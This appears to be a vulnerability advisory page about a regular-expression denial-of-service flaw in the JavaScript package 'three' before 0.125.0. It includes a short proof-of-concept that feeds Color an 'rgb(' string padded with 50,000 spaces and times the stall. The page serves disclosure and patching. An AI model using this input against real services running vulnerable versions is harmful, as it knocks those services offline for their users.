Description
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")
Remediation
References
Related Vulnerabilities
WordPress Plugin Bloom eMail Opt-In Security Bypass (1.1)
Moodle Improper Control of Generation of Code ('Code Injection') Vulnerability (CVE-2018-1133)
PHP Improper Link Resolution Before File Access ('Link Following') Vulnerability (CVE-2011-0441)
Oracle JRE CVE-2012-0507 Vulnerability (CVE-2012-0507)
Moodle Exposure of Sensitive Information to an Unauthorized Actor Vulnerability (CVE-2012-4403)